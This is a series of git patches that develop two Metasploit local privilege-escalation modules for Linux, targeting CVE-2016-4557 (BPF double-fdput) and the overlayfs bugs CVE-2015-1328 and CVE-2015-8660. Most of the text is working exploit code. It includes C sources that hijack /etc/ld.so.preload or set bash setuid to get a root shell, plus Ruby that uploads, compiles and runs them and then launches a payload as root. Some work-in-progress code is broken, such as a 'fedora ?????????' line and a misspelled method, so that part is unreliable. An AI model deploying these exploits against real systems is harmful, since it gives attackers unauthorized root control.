+ #include + #include + #include + #include + #include + #include + + static const char *hello_path = "/hello"; + + static char data_state[sizeof(struct iovec)]; + + static int hello_getattr(const char *path, struct stat *stbuf) + { + int res = 0; + memset(stbuf, 0, sizeof(struct stat)); + if (strcmp(path, "/") == 0) { + stbuf->st_mode = S_IFDIR | 0755; + stbuf->st_nlink = 2; + } else if (strcmp(path, hello_path) == 0) { + stbuf->st_mode = S_IFREG | 0666; + stbuf->st_nlink = 1; + stbuf->st_size = sizeof(data_state); + stbuf->st_blocks = 0; + } else + res = -ENOENT; + return res; + } + + static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) { + filler(buf, ".", NULL, 0); + filler(buf, "..", NULL, 0); + filler(buf, hello_path + 1, NULL, 0); + return 0; + } + + static int hello_open(const char *path, struct fuse_file_info *fi) { + return 0; + } + + static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) { + sleep(10); + size_t len = sizeof(data_state); + if (offset < len) { + if (offset + size > len) + size = len - offset; + memcpy(buf, data_state + offset, size); + } else + size = 0; + return size; + } + + static int hello_write(const char *path, const char *buf, size_t size, off_t offset, struct fuse_file_info *fi) { + if (offset != 0) + errx(1, "got write with nonzero offset"); + if (size != sizeof(data_state)) + errx(1, "got write with size %d", (int)size); + memcpy(data_state + offset, buf, size); + return size; + } + + static struct fuse_operations hello_oper = { + .getattr = hello_getattr, + .readdir = hello_readdir, + .open = hello_open, + .read = hello_read, + .write = hello_write, + }; + + int main(int argc, char *argv[]) { + return fuse_main(argc, argv, &hello_oper, NULL); + } + } + + hello_filename = 'hello' + hello_path = "#{datastore['WritableDir']}/#{hello_filename}" + doubleput_file = "#{datastore['WritableDir']}/doubleput" + suidhelper_filename = 'suidhelper' + suidhelper_path = "#{datastore['WritableDir']}/#{suidhelper_filename}" + payload_filename = rand_text_alpha(8) + payload_path = "#{datastore['WritableDir']}/#{payload_filename}" + + if check != CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') + end + + def has_prereqs?() + def check_libfuse_dev?() + lib = cmd_exec('dpkg --get-selections | grep libfuse-dev') + if lib.include?('install') + vprint_good('libfuse-dev is installed') + return true + else + print_error('libfuse-dev is not installed. Compiling will fail.') + return false + end + end + def check_gcc?() + gcc = cmd_exec('which gcc') + if gcc.include?('gcc') + vprint_good('gcc is installed') + return true + else + print_error('gcc is not installed. Compiling will fail.') + return false + end + end + return check_libfuse_dev?() && check_gcc?() + end + + compile = false + if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' + if has_prereqs?() + compile = true + vprint_status('Live compiling exploit on system') + else + vprint_status('Dropping pre-compiled exploit on system') + end + end + + if compile == false + # doubleput file + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'doubleput') + fd = ::File.open( path, "rb") + doubleput = fd.read(fd.stat.size) + fd.close + # hello file + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'hello') + fd = ::File.open( path, "rb") + hello = fd.read(fd.stat.size) + fd.close + # suidhelper file + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'suidhelper') + fd = ::File.open( path, "rb") + suid_helper = fd.read(fd.stat.size) + fd.close + + # overwrite with the hardcoded variable names in the compiled versions + payload_filename = 'AyDJSaMM' + payload_path = '/tmp/AyDJSaMM' + end + + # make our substitutions so things are dynamic + suid_helper.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/, + "return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable + doubleput.gsub!(/execl\(".\/suidhelper", "suidhelper", NULL\);/, + 'exit(0);') + print_status('Writing files to target') + upload_and_compile('hello', hello_path, hello, compile="gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`") + upload_and_compile('doubleput', doubleput_file, doubleput, compile="gcc -o #{doubleput_filename} #{doubleput_filename}.c -Wall") + upload_and_compile('suidhelper', suidhelper_path, suidhelper, compile="gcc -o #{suidhelper_filename} #{suidhelper_filename}.c -Wall") + upload_and_compile('payload', payload_path, generate_payload_exe) + cmd_exec("chmod 555 #{payload_filename}") + cmd_exec("cd #{datastore['WritableDir']}") + print_status('Starting execution of priv esc. This may take about 120 seconds') + + cmd_exec("chmod +x #{doubleput_file}; #{doubleput_file}") # we use & to not destroy our original shell + sec_waited = 0 + until sec_waited > datastore['MAXWAIT'] do + Rex.sleep(1) + # check file permissions + if cmd_exec("ls -lah #{suidhelper_path}").include?('-rwsr-sr-x 1 root root') + print_good('got root, starting payload') + print_error('This exploit may require process killing of \'hello\', and \'doubleput\' on the target') + print_error('This exploit may require manual umounting of /tmp/fuse_mount via \'fusermount -z -u /tmp/fuse_mount\' on the target') + print_error('This exploit may require manual deletion of /tmp/fuse_mount via \'rm -rf /tmp/fuse_mount\' on the target') + cmd_exec("#{suidhelper_path}") + return + end + sec_waited +=1 + end + end + + def on_new_session(session) + # if we don't /bin/bash here, our payload times out + # [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400 + # [*] 192.168.199.130 - Meterpreter session 2 closed. Reason: Died + session.shell_command_token('/bin/bash') + super + end +end From 4fac5271ae8052ca8a642be376f9720370cfba3b Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 29 Sep 2016 05:51:13 -0400 Subject: [PATCH 018/157] slight cleanup --- modules/exploits/linux/local/bpf_priv_esc.rb | 21 +++++++++++++++----- 1 file changed, 16 insertions(+), 5 deletions(-) diff --git a/modules/exploits/linux/local/bpf_priv_esc.rb b/modules/exploits/linux/local/bpf_priv_esc.rb index 330b55a451..5306dd3ad1 100644 --- a/modules/exploits/linux/local/bpf_priv_esc.rb +++ b/modules/exploits/linux/local/bpf_priv_esc.rb @@ -111,7 +111,7 @@ class MetasploitModule < Msf::Exploit::Local def exploit - def upload_and_compile(filename, file_path, file_contents, compile=nil) + def upload_and_compile(filename, file_path, file_content, compile=nil) rm_f "#{file_path}" if not compile.nil? rm_f "#{file_path}.c" @@ -124,6 +124,7 @@ class MetasploitModule < Msf::Exploit::Local fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile") end else + vprint_status("Writing #{filename} to #{file_path}") write_file(file_path, file_content) end register_file_for_cleanup(file_path) @@ -412,7 +413,17 @@ class MetasploitModule < Msf::Exploit::Local return false end end - return check_libfuse_dev?() && check_gcc?() + def check_pkgconfig?() + lib = cmd_exec('dpkg --get-selections | grep ^pkg-config') + if lib.include?('install') + vprint_good('pkg-config is installed') + return true + else + print_error('pkg-config is not installed. Exploitation will fail.') + return false + end + end + return check_libfuse_dev?() && check_gcc?() && check_pkgconfig?() end compile = false @@ -453,9 +464,9 @@ class MetasploitModule < Msf::Exploit::Local doubleput.gsub!(/execl\(".\/suidhelper", "suidhelper", NULL\);/, 'exit(0);') print_status('Writing files to target') - upload_and_compile('hello', hello_path, hello, compile="gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`") - upload_and_compile('doubleput', doubleput_file, doubleput, compile="gcc -o #{doubleput_filename} #{doubleput_filename}.c -Wall") - upload_and_compile('suidhelper', suidhelper_path, suidhelper, compile="gcc -o #{suidhelper_filename} #{suidhelper_filename}.c -Wall") + upload_and_compile('hello', hello_path, hello, compile ? "gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`" : nil) + upload_and_compile('doubleput', doubleput_file, doubleput, compile ? "gcc -o #{doubleput_filename} #{doubleput_filename}.c -Wall" : nil) + upload_and_compile('suidhelper', suidhelper_path, suid_helper, compile ? "gcc -o #{suidhelper_filename} #{suidhelper_filename}.c -Wall" : nil) upload_and_compile('payload', payload_path, generate_payload_exe) cmd_exec("chmod 555 #{payload_filename}") cmd_exec("cd #{datastore['WritableDir']}") From bac4a25b2ca6570ae8671d4c22c643fa0559cf7c Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 29 Sep 2016 06:15:17 -0400 Subject: [PATCH 019/157] compile or nill --- modules/exploits/linux/local/bpf_priv_esc.rb | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/modules/exploits/linux/local/bpf_priv_esc.rb b/modules/exploits/linux/local/bpf_priv_esc.rb index 5306dd3ad1..7fe2335381 100644 --- a/modules/exploits/linux/local/bpf_priv_esc.rb +++ b/modules/exploits/linux/local/bpf_priv_esc.rb @@ -118,7 +118,7 @@ class MetasploitModule < Msf::Exploit::Local vprint_status("Writing #{filename} to #{file_path}.c") write_file("#{file_path}.c", file_content) register_file_for_cleanup("#{file_path}.c") - output = cmd_exec(compile) #"gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`") + output = cmd_exec(compile) if output != '' print_error(output) fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile") @@ -127,6 +127,7 @@ class MetasploitModule < Msf::Exploit::Local vprint_status("Writing #{filename} to #{file_path}") write_file(file_path, file_content) end + cmd_exec("chmod +x #{file_path}"); register_file_for_cleanup(file_path) end @@ -464,15 +465,15 @@ class MetasploitModule < Msf::Exploit::Local doubleput.gsub!(/execl\(".\/suidhelper", "suidhelper", NULL\);/, 'exit(0);') print_status('Writing files to target') + cmd_exec("cd #{datastore['WritableDir']}") upload_and_compile('hello', hello_path, hello, compile ? "gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`" : nil) - upload_and_compile('doubleput', doubleput_file, doubleput, compile ? "gcc -o #{doubleput_filename} #{doubleput_filename}.c -Wall" : nil) + upload_and_compile('doubleput', doubleput_file, doubleput, compile ? "gcc -o #{doubleput_file} #{doubleput_file}.c -Wall" : nil) upload_and_compile('suidhelper', suidhelper_path, suid_helper, compile ? "gcc -o #{suidhelper_filename} #{suidhelper_filename}.c -Wall" : nil) upload_and_compile('payload', payload_path, generate_payload_exe) - cmd_exec("chmod 555 #{payload_filename}") - cmd_exec("cd #{datastore['WritableDir']}") + #cmd_exec("chmod 555 #{payload_filename}") print_status('Starting execution of priv esc. This may take about 120 seconds') - cmd_exec("chmod +x #{doubleput_file}; #{doubleput_file}") # we use & to not destroy our original shell + cmd_exec(doubleput_file) sec_waited = 0 until sec_waited > datastore['MAXWAIT'] do Rex.sleep(1) From 7b0a8784aacb97a407121cd21be64e6df3a6118e Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 29 Sep 2016 19:02:16 -0400 Subject: [PATCH 020/157] additional doc updates --- documentation/modules/exploit/linux/local/bpf_priv_esc.md | 6 ++++++ modules/exploits/linux/local/bpf_priv_esc.rb | 4 ++-- 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/linux/local/bpf_priv_esc.md b/documentation/modules/exploit/linux/local/bpf_priv_esc.md index d32de111be..3a0de3ac8d 100644 --- a/documentation/modules/exploit/linux/local/bpf_priv_esc.md +++ b/documentation/modules/exploit/linux/local/bpf_priv_esc.md @@ -2,6 +2,12 @@ This module (and the original exploit) are written in several parts: hello, doubleput, and suidhelper. +Mettle at times on this exploit will give back an invalid session number error. In these cases payload/linux/x64/shell/bind_tcp seemed to always work. + +As of PR submission, the original shell becomes unresposive when the root shell occurs. Metasm fails to compile due to fuse.h being required. + +As of PR submission, killing of the process hello and doubleput has to occur manually. /tmp/fuse_mount also needs to be unmounted and deleted. + ## Creating A Testing Environment There are a few requirements for this module to work: diff --git a/modules/exploits/linux/local/bpf_priv_esc.rb b/modules/exploits/linux/local/bpf_priv_esc.rb index 7fe2335381..c8c9c35ea4 100644 --- a/modules/exploits/linux/local/bpf_priv_esc.rb +++ b/modules/exploits/linux/local/bpf_priv_esc.rb @@ -127,7 +127,7 @@ class MetasploitModule < Msf::Exploit::Local vprint_status("Writing #{filename} to #{file_path}") write_file(file_path, file_content) end - cmd_exec("chmod +x #{file_path}"); + cmd_exec("chmod +x #{file_path}"); register_file_for_cleanup(file_path) end @@ -470,7 +470,7 @@ class MetasploitModule < Msf::Exploit::Local upload_and_compile('doubleput', doubleput_file, doubleput, compile ? "gcc -o #{doubleput_file} #{doubleput_file}.c -Wall" : nil) upload_and_compile('suidhelper', suidhelper_path, suid_helper, compile ? "gcc -o #{suidhelper_filename} #{suidhelper_filename}.c -Wall" : nil) upload_and_compile('payload', payload_path, generate_payload_exe) - #cmd_exec("chmod 555 #{payload_filename}") + print_status('Starting execution of priv esc. This may take about 120 seconds') cmd_exec(doubleput_file) From e6daef62b466a5c36b22ba1e605ad647e4c470ab Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 3 Oct 2016 20:24:59 -0400 Subject: [PATCH 021/157] egypt --- modules/exploits/linux/local/bpf_priv_esc.rb | 42 ++++++++++++++++++-- 1 file changed, 39 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/local/bpf_priv_esc.rb b/modules/exploits/linux/local/bpf_priv_esc.rb index c8c9c35ea4..afb86cad1b 100644 --- a/modules/exploits/linux/local/bpf_priv_esc.rb +++ b/modules/exploits/linux/local/bpf_priv_esc.rb @@ -4,6 +4,8 @@ ## require 'msf/core' +require 'msf/core/exploit/local/linux_kernel' +require 'msf/core/exploit/local/linux' class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking @@ -11,6 +13,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::EXE include Msf::Post::File include Msf::Exploit::FileDropper + include Msf::Exploit::Local::Linux def initialize(info={}) super( update_info( info, { @@ -131,6 +134,17 @@ class MetasploitModule < Msf::Exploit::Local register_file_for_cleanup(file_path) end + doubleput_sc = Metasm::ELF.new(@cpu) + doubleput_sc.parse %Q| + #define DEBUGGING + #define NULL ((void*)0) + #ifdef __ELF__ + .section ".bss" rwx + .section ".text" rwx + .entrypoint + #endif + | + doubleput = %q{ #define _GNU_SOURCE #include @@ -271,11 +285,33 @@ class MetasploitModule < Msf::Exploit::Local sleep(1); } fputs("suid file detected, launching rootshell...\n", stderr); - execl("./suidhelper", "suidhelper", NULL); + #execl("./suidhelper", "suidhelper", NULL); + exit(0); err(1, "execl suidhelper"); } } + cparser.parse(doubleput, 'doubleput.c') + # This will give you all the structs and #defines (from all included + # headers) that are actually used by our C code so we can avoid + # needing them at runtime. + puts cparser.factorize + + asm = cpu.new_ccompiler(cparser, doubleput_sc).compile + doubleput_sc.parse asm + doubleput_sc.assemble + + begin + elf = doubleput_sc.encode_string + rescue + print_error "Metasm Encoding failed: #{$!}" + elog "Metasm Encoding failed: #{$!.class} : #{$!}" + elog "Call stack:\n#{$!.backtrace.join("\n")}" + return + end + return + + suid_helper = %q{ #include #include @@ -462,8 +498,8 @@ class MetasploitModule < Msf::Exploit::Local # make our substitutions so things are dynamic suid_helper.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/, "return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable - doubleput.gsub!(/execl\(".\/suidhelper", "suidhelper", NULL\);/, - 'exit(0);') + #doubleput.gsub!(/execl\(".\/suidhelper", "suidhelper", NULL\);/, + # 'exit(0);') print_status('Writing files to target') cmd_exec("cd #{datastore['WritableDir']}") upload_and_compile('hello', hello_path, hello, compile ? "gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`" : nil) From 75bea08e0ed1e9137226700e6e4c9a63c268e11d Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 4 Oct 2016 21:08:12 -0400 Subject: [PATCH 022/157] changing branches --- modules/exploits/linux/local/bpf_priv_esc.rb | 23 +- .../linux/local/overlayfs_priv_esc.rb | 432 ++++++++++++++++++ 2 files changed, 445 insertions(+), 10 deletions(-) create mode 100644 modules/exploits/linux/local/overlayfs_priv_esc.rb diff --git a/modules/exploits/linux/local/bpf_priv_esc.rb b/modules/exploits/linux/local/bpf_priv_esc.rb index afb86cad1b..ef1d8e6536 100644 --- a/modules/exploits/linux/local/bpf_priv_esc.rb +++ b/modules/exploits/linux/local/bpf_priv_esc.rb @@ -135,15 +135,18 @@ class MetasploitModule < Msf::Exploit::Local end doubleput_sc = Metasm::ELF.new(@cpu) - doubleput_sc.parse %Q| - #define DEBUGGING - #define NULL ((void*)0) - #ifdef __ELF__ - .section ".bss" rwx - .section ".text" rwx - .entrypoint - #endif - | + #@include_search_path = ['/usr/include/c++/6'] + #@@include_search_path = ['/usr/include/c++/6'] + #include_search_path = ['/usr/include/c++/6'] + #doubleput_sc.parse %Q| + # #define DEBUGGING + # #define NULL ((void*)0) + # #ifdef __ELF__ + # .section ".bss" rwx + # .section ".text" rwx + # .entrypoint + # #endif + #| doubleput = %q{ #define _GNU_SOURCE @@ -291,7 +294,7 @@ class MetasploitModule < Msf::Exploit::Local } } - cparser.parse(doubleput, 'doubleput.c') + cparser.parse(doubleput, 'doubleput.c', path = '/usr/include/c++/6') # This will give you all the structs and #defines (from all included # headers) that are actually used by our C code so we can avoid # needing them at runtime. diff --git a/modules/exploits/linux/local/overlayfs_priv_esc.rb b/modules/exploits/linux/local/overlayfs_priv_esc.rb new file mode 100644 index 0000000000..b6fb235bae --- /dev/null +++ b/modules/exploits/linux/local/overlayfs_priv_esc.rb @@ -0,0 +1,432 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require "msf/core" + +class MetasploitModule < Msf::Exploit::Local + Rank = GoodRanking + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linux Kernel 3.19 and 4.33 Overlayfs Privilege Escalation', + 'Description' => %q{ + This module attempts to exploit an overlayfs incorrect permission handling bug on via two CVEs. + CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55 + 3.16.0-25 (14.10 default) < 3.16.0-41 + 3.19.0-18 (15.04 default) < 3.19.0-21 + CVE-2015-8660: + Ubuntu: + 3.19.0-18 < 3.19.0-43 + 4.2.0-18 < 4.2.0-23 (14.04.1, 15.10) + Fedora: + < 4.2.8 + Red Hat: + < 3.10.0-327 (rhel 6) + + Linux Kernels from 3.13.0-24 (default) < 3.19.0-20 and <= 4.3.3 through two different methods/CVEs. + + Originally attempted to use metasm, but it was failsauce. + [-] Metasm Encoding failed: ')' expected after Expression[0] got #\"", 3, "", 29, "", 365, "", 393], @value=nil, @raw="?", @type=:punct> near "(" at "" line 393, + included from "" line 365, + included from "" line 29, + included from "\"\"" line 3 + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'h00die ', # Module + 'rebel' # Discovery + ], + 'DisclosureDate' => 'Jun 16 2015', + 'Platform' => [ 'linux'], + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => + [ + [ 'CVE-2015-1328', { } ], + [ 'CVE-2015-8660', { } ] + ], + 'DefaultTarget' => 1, + 'References' => + [ + [ 'EDB', '39166'], # CVE-2015-8660 + [ 'EDB', '37292'], # CVE-2015-1328 + [ 'CVE', '2015-1328'], + [ 'CVE', '2015-8660'] + ] + )) + register_options( + [ + OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]), + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]) + ], self.class) + end + + def check + def mounts_exist?() + vprint_status('Checking if mount points exist') + if target.name == 'CVE-2015-1328' + if not directory?('/tmp/ns_sploit') + vprint_good('/tmp/ns_sploit not created') + return true + else + print_error('/tmp/ns_sploit directory exists. Please delete.') + return false + end + elsif target.name == 'CVE-2015-8660' + if not directory?('/tmp/haxhax') + vprint_good('/tmp/haxhax not created') + return true + else + print_error('/tmp/haxhax directory exists. Please delete.') + return false + end + end + end + + def kernel_vuln?() + kernel = Gem::Version.new(cmd_exec('/bin/uname -r')) + os_id = cmd_exec('grep ^ID= /etc/os-release') + case os_id + when 'ID=ubuntu' + case kernel.release.to_s + when '3.13.0' + if kernel.beween(Gem::Version.new('3.13.0-24-generic'),Gem::Version.new('3.13.0-54-generic')) + vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328") + return true + else + print_error("Kernel #{kernel} is NOT vulnerable") + return false + end + when '3.16.0' + if kernel.beween(Gem::Version.new('3.16.0-25-generic'),Gem::Version.new('3.16.0-40-generic')) + vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328") + return true + else + print_error("Kernel #{kernel} is NOT vulnerable") + return false + end + when '3.19.0' + if kernel.beween(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-20-generic')) + vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328") + return true + elsif kernel.beween(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-42-generic')) + vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660") + return true + else + print_error("Kernel #{kernel} is NOT vulnerable") + return false + end + when '4.2.0' + if kernel.beween(Gem::Version.new('4.2.0-18-generic'),Gem::Version.new('4.2.0-22-generic')) + vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660") + return true + else + print_error("Kernel #{kernel} is NOT vulnerable") + return false + end + else + print_error("Non-vuln kernel #{kernel}") + return false + end + when 'ID=fedora' ????????? + else + print_error("Unknown OS: #{os_id}") + end + end + + if mounts_exist?() && kernel_vuln?() + return CheckCode::Appears + else + return CheckCode::Safe + end + end + + def exploit + + if check != CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') + end + + + # direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size + # Exploit Title: ofs.c - overlayfs local root in ubuntu + # Date: 2015-06-15 + # Exploit Author: rebel + # Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15) + # Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04 + # CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html) + + cve_2015_1328 = %q{ + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + + #define LIB "#include \n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n" + + static char child_stack[1024*1024]; + + static int + child_exec(void *stuff) + { + char *file; + system("rm -rf /tmp/ns_sploit"); + mkdir("/tmp/ns_sploit", 0777); + mkdir("/tmp/ns_sploit/work", 0777); + mkdir("/tmp/ns_sploit/upper",0777); + mkdir("/tmp/ns_sploit/o",0777); + + fprintf(stderr,"mount #1\n"); + if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) { + // workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower + if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) { + fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n"); + exit(-1); + } + file = ".access"; + chmod("/tmp/ns_sploit/work/work",0777); + } else file = "ns_last_pid"; + + chdir("/tmp/ns_sploit/o"); + rename(file,"ld.so.preload"); + + chdir("/"); + umount("/tmp/ns_sploit/o"); + fprintf(stderr,"mount #2\n"); + if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) { + if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) { + exit(-1); + } + chmod("/tmp/ns_sploit/work/work",0777); + } + + chmod("/tmp/ns_sploit/o/ld.so.preload",0777); + umount("/tmp/ns_sploit/o"); + } + + int + main(int argc, char **argv) + { + int status, fd, lib; + pid_t wrapper, init; + int clone_flags = CLONE_NEWNS | SIGCHLD; + + fprintf(stderr,"spawning threads\n"); + + if((wrapper = fork()) == 0) { + if(unshare(CLONE_NEWUSER) != 0) + fprintf(stderr, "failed to create new user namespace\n"); + + if((init = fork()) == 0) { + pid_t pid = + clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); + if(pid < 0) { + fprintf(stderr, "failed to create new mount namespace\n"); + exit(-1); + } + + waitpid(pid, &status, 0); + + } + + waitpid(init, &status, 0); + return 0; + } + + usleep(300000); + + wait(NULL); + + fprintf(stderr,"child threads done\n"); + + fd = open("/etc/ld.so.preload",O_WRONLY); + + if(fd == -1) { + fprintf(stderr,"exploit failed\n"); + exit(-1); + } + + fprintf(stderr,"/etc/ld.so.preload created\n"); + fprintf(stderr,"creating shared library\n"); + lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777); + write(lib,LIB,strlen(LIB)); + close(lib); + lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w"); + if(lib != 0) { + fprintf(stderr,"couldn't create dynamic library\n"); + exit(-1); + } + write(fd,"/tmp/ofs-lib.so\n",16); + close(fd); + system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c"); + execl("/bin/su","su",NULL); + } + } + + # direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size + # Exploit Title: overlayfs local root + # Date: 2016-01-05 + # Exploit Author: rebel + # Version: Ubuntu 14.04 LTS, 15.10 and more + # Tested on: Ubuntu 14.04 LTS, 15.10 + # CVE : CVE-2015-8660 + cve_2015_8660 = %q{ + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + + static char child_stack[1024*1024]; + + static int + child_exec(void *stuff) + { + system("rm -rf /tmp/haxhax"); + mkdir("/tmp/haxhax", 0777); + mkdir("/tmp/haxhax/w", 0777); + mkdir("/tmp/haxhax/u",0777); + mkdir("/tmp/haxhax/o",0777); + + if (mount("overlay", "/tmp/haxhax/o", "overlay", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w") != 0) { + fprintf(stderr,"mount failed..\n"); + } + + chmod("/tmp/haxhax/w/work",0777); + chdir("/tmp/haxhax/o"); + chmod("bash",04755); + chdir("/"); + umount("/tmp/haxhax/o"); + return 0; + } + + int + main(int argc, char **argv) + { + int status; + pid_t wrapper, init; + int clone_flags = CLONE_NEWNS | SIGCHLD; + struct stat s; + + if((wrapper = fork()) == 0) { + if(unshare(CLONE_NEWUSER) != 0) + fprintf(stderr, "failed to create new user namespace\n"); + + if((init = fork()) == 0) { + pid_t pid = + clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); + if(pid < 0) { + fprintf(stderr, "failed to create new mount namespace\n"); + exit(-1); + } + + waitpid(pid, &status, 0); + + } + + waitpid(init, &status, 0); + return 0; + } + + usleep(300000); + + wait(NULL); + + stat("/tmp/haxhax/u/bash",&s); + + if(s.st_mode == 0x89ed) + execl("/tmp/haxhax/u/bash","bash","-p","-c","rm -rf /tmp/haxhax;python -c \"import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');\"",NULL); + + fprintf(stderr,"couldn't create suid :(\n"); + return -1; + } + } + + filename = rand_text_alphanumeric(8) + executable_path = "#{datastore['WritableDir']}/#{filename}" + payloadname = rand_text_alphanumeric(8) + payload_path = "#{datastore['WritableDir']}/#{payloadname}" + + def has_prereqs?() + gcc = cmd_exec('which gcc') + if gcc.include?('gcc') + vprint_good('gcc is installed') + else + print_error('gcc is not installed. Compiling will fail.') + end + return gcc.include?('gcc') + end + + compile = false + if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' + if has_prereqs?() + compile = true + vprint_status('Live compiling exploit on system') + else + vprint_status('Dropping pre-compiled exploit on system') + end + end + if check != CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') + end + + def upload_and_chmod(fname,fcontent) + print_status "Writing to #{fname} (#{fcontent.size} bytes)" + rm_f fname + write_file(fname, fcontent) + cmd_exec("chmod +x #{fname}") + #register_file_for_cleanup(fname) + end + + def on_new_session(session) + super + if target.name == 'CVE-2015-1328' + session.shell_command("/bin/su") #this doesnt work on meterpreter????? + end + end + + if compile + if target.name == 'CVE-2015-1328' + cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/, + "execl(\"#{payload_path}\",\"#{payloadname}\",NULL);") + upload_and_chmod("#{executable_path}.c", cve_2015_1328) + else + cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/, + "os.execl('#{payload_path}','#{payloadname}')") + upload_and_chmod("#{executable_path}.c", cve_2015_8660) + end + vprint_status("Compiling #{executable_path}.c") + cmd_exec("gcc -o #{executable_path} #{executable_path}.c") #compile + end + + #upload_and_chmod(executable_path, elf) + upload_and_chmod(payload_path, generate_payload_exe) + vprint_status('Exploiting...') + output = cmd_exec(executable_path) + output.each_line { |line| vprint_status(line.chomp) } + #register_file_for_cleanup(executable_path) + end +end From 27cf5c65c4f15a46d408c230214b8e50228dac2f Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 4 Oct 2016 23:21:53 -0400 Subject: [PATCH 